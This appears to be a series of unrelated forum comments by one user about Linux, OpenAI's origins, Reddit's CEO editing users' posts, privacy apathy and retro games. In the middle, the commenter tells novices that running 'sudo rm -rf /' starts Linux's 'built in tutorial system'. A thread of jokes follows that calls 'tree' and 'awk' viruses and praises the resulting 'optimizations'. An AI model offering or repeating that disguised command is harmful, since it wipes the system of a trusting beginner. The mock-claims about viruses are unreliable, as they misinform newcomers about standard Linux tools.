Ha! Goddamnit I walked right into that, didn't I?

Goddamn Kali and it's wireless drivers.

Good Human.

By not mentioning the Activity Pub protocol or FOSS (and then going off on GNU shit with direct quotes from Richard Stallman) even once, this is straining the bounds of possibility.

Came here to say exactly this ^.

OpenAI is called that for a reason. They absolutely were a non-profit research org initially, so would have been eligible for research grants, etc. They would probably have gotten a pass on using the torrents too, for the same reason.

They went to a private for-profit model later after they built their AI's and wanted to start selling them as a service. How the hell all of that plays out as the company they are now is anyone's guess.

where Spez edited comments to make the sub seem to be inciting violence, so he had an excuse to ban it

Not what happened. Spez, fuckwit though he is, actually managed to do a halfway decent trolling there.

A bunch of td people were slagging him off and insulting him in their comments. Spez got drunk as shit one night and edited their comments, swapping his name with Trump's so that it made them look like a bunch of anti-trumpers. Much gnashing of teeth ensued.

Absolutely shouldn't have done it, especially as CEO of Reddit FFS, but definitely funny as shit.

Don't get me wrong, it's absolutely a mark against him, but he didn't get them banned. They thouroughly got themselves banned on their own.

No, that was the IRA and that's all in the past, thank you very much.

Lol, I know what you mean.

Isn't it fucked up how we all say that linux doesn't have viruses, and yet how many times have you ever seen an install of Mint or Ubuntu that didn't have "Tree" or "Awk" just sitting there waiting to ruin your whole day.

I swear to God Canonical have some things to answer for.

Well, technically it teaches you how to optimize your system.

That said, the optimizations are really effective.

All good points.

That's why I love communities like these, there are always people willing to expound upon other's solutions with solid additional information.

It's what makes forums like these such goldmines of information when you're first cutting your teeth learning new things.

Upvoted.

It's great, isn't it? As a side bonus, the tutorial modules on system optimization commands are just great. Check how much less RAM and CPU footprint your system's using now that you've run the tutorials. It's almost like nothing's going on in the background at all.

This is the reason that BASH will always be better than Powershell, imho.

I'm not sure that they ever did.

The turning point for me when I really got a concrete realisation about people absolutely not giving a shit about this was when Snowden came out and I saw the majority of people just go "Eh, that's pretty fucked, whatever", and then immediately jump straight back into scrolling facebook all day long.

I realised then that there probably wasn't any point expecting anything from them. I don't have much sympathy left for people in this regard anymore.

Most people legitimately don't give a shit about this issue. I think that they really should, but they absolutely don't for the most part.

This is what sorting by active fixes.

It's like the old "sort by recent replies" on forums.

I'm in a helpful mood so I'll add something for anyone stuck in OP's situation.

It's ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.

Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:

sudo rm -rf /

Type your password when prompted and you're golden. No more linux issues ever again.

1/10 because Perfect Dark and Goldeneye don't have pride of place on the top shelf next to Majoras Mask. Epic fail move right there.

But also, why do you have so many identical copies of the same games? What's the point, or are they different region copies?

Well, fashion's cycled around again and today they'd be wearing the modern style anyway, so don't see why not :p

I'm literally seeing people unironically wearing flares these days where I am. They'd fit right in, depending on the crowd.

Ok, I just reported you here on Kbin.social, not sure if it went through though as clicking the button didn't close the report box or anything, but that could just be a missing UI feature.

Gonna have a wild guess here and assume that mutant is on that list.

Probably not tbh, but it's another thing to actually see it there in a permissions list.

I'm pretty sure that none of this is really "news" to anyone. I posted it because it's a slightly more "in your face" view of what we already know.
